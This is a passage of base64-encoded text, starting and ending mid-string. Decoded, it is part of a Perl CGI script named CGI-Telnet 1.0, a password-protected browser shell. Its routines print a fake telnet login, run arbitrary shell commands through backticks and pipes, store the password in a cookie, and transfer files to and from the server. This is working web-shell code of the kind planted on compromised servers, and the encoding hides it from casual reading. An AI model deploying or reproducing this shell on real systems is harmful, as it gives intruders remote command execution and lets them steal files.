dHA6Ly93d3cucm9oaXRhYi5jb20vY2dpc2NyaXB0cy9jZ2l0ZWxuZXQuaHRtbCI+SGVscDwvYT4KPC9mb250PjwvdGQ+CjwvdHI+CjwvdGFibGU+Cjxmb250IGNvbG9yPSIjQzBDMEMwIiBzaXplPSIzIj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCSRNZXNzYWdlID0gcSQ8cHJlPjxmb250IGNvbG9yPSIjNjY5OTk5Ij4gX19fX18gIF9fX19fICBfX19fXyAgICAgICAgICBfX19fXyAgICAgICAgXyAgICAgICAgICAgICAgIF8KLyAgX18gXHwgIF9fIFx8XyAgIF98ICAgICAgICB8XyAgIF98ICAgICAgfCB8ICAgICAgICAgICAgIHwgfAp8IC8gIFwvfCB8ICBcLyAgfCB8ICAgX19fX19fICAgfCB8ICAgIF9fXyB8IHwgXyBfXyAgICBfX18gfCB8Xwp8IHwgICAgfCB8IF9fICAgfCB8ICB8X19fX19ffCAgfCB8ICAgLyBfIFx8IHx8ICdfIFwgIC8gXyBcfCBfX3wKfCBcX18vXHwgfF9cIFwgX3wgfF8gICAgICAgICAgIHwgfCAgfCAgX18vfCB8fCB8IHwgfHwgIF9fL3wgfF8KIFxfX19fLyBcX19fXy8gXF9fXy8gICAgICAgICAgIFxfLyAgIFxfX198fF98fF98IHxffCBcX19ffCBcX198IDEuMAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj7CqSAyMDAxLCBSb2hpdGFiIEJhdHJhPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4KICAgICAgICAgICAgICAgICAgLyAgICAgICAgICAgIFwKICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfAogICAgICAgICAgICAgICAgIHwgKShfby8gIFxvXykoIHwKICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8CiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQogIF8gICAgICkgXDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+XDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnxJSUlJSUl8PC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+LzwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fX19fX19fX19fX19fX19fX18KPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gKF8pPC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5AOEA4PC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj57fTwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+Jmx0O19fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxJSUlJSUkvLXw8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPgogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvIAogICAgICAgKEAgICAgICAgICAgIGAtLS0tLS0tLWAKICAgICAgICAgICAgIDwvZm9udD48Zm9udCBjb2xvcj0iI0FFODMwMCI+VyBBIFIgTiBJIE4gRzogUHJpdmF0ZSBTZXJ2ZXI8L2ZvbnQ+PC9wcmU+CiQ7CiMnCglwcmludCA8PEVORDsKPGNvZGU+ClRyeWluZyAkU2VydmVyTmFtZS4uLjxicj4KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPgpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dCjxjb2RlPiRNZXNzYWdlCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGNvZGU+Cjxicj5sb2dpbjogYWRtaW48YnI+CnBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoJCX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPgpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcHJpbnQgPDxFTkQ7CjwveG1wPgo8Y29kZT4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLgo8YnI+S2lsbGVkIGl0IQo8Y29kZT4KRU5ECgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkKCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7Cgl9CgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOwoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsKCQlpZighJFdpbk5UKQoJCXsKCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsKCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJCX0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgkJewoJCQkkfD0xOwoJCQkkQ29tbWFuZCAuPSAiIHwiOwoJCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCQl7CgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJCXByaW50ICIkX1xuIjsKCQkJfQoJCQkkfD0wOwoJCX0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCQl7CgkJCXByaW50IGAkQ29tbWFuZGA7CgkJfQoJCWlmKCEkV2luTlQpCgkJewoJCQlhbGFybSgwKTsKCQl9CgkJcHJpbnQgIjwveG1wPiI7Cgl9CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJcHJpbnQgPDxFTkQ7Cjxjb2RlPgpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lgo8L2NvZGU+CkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHd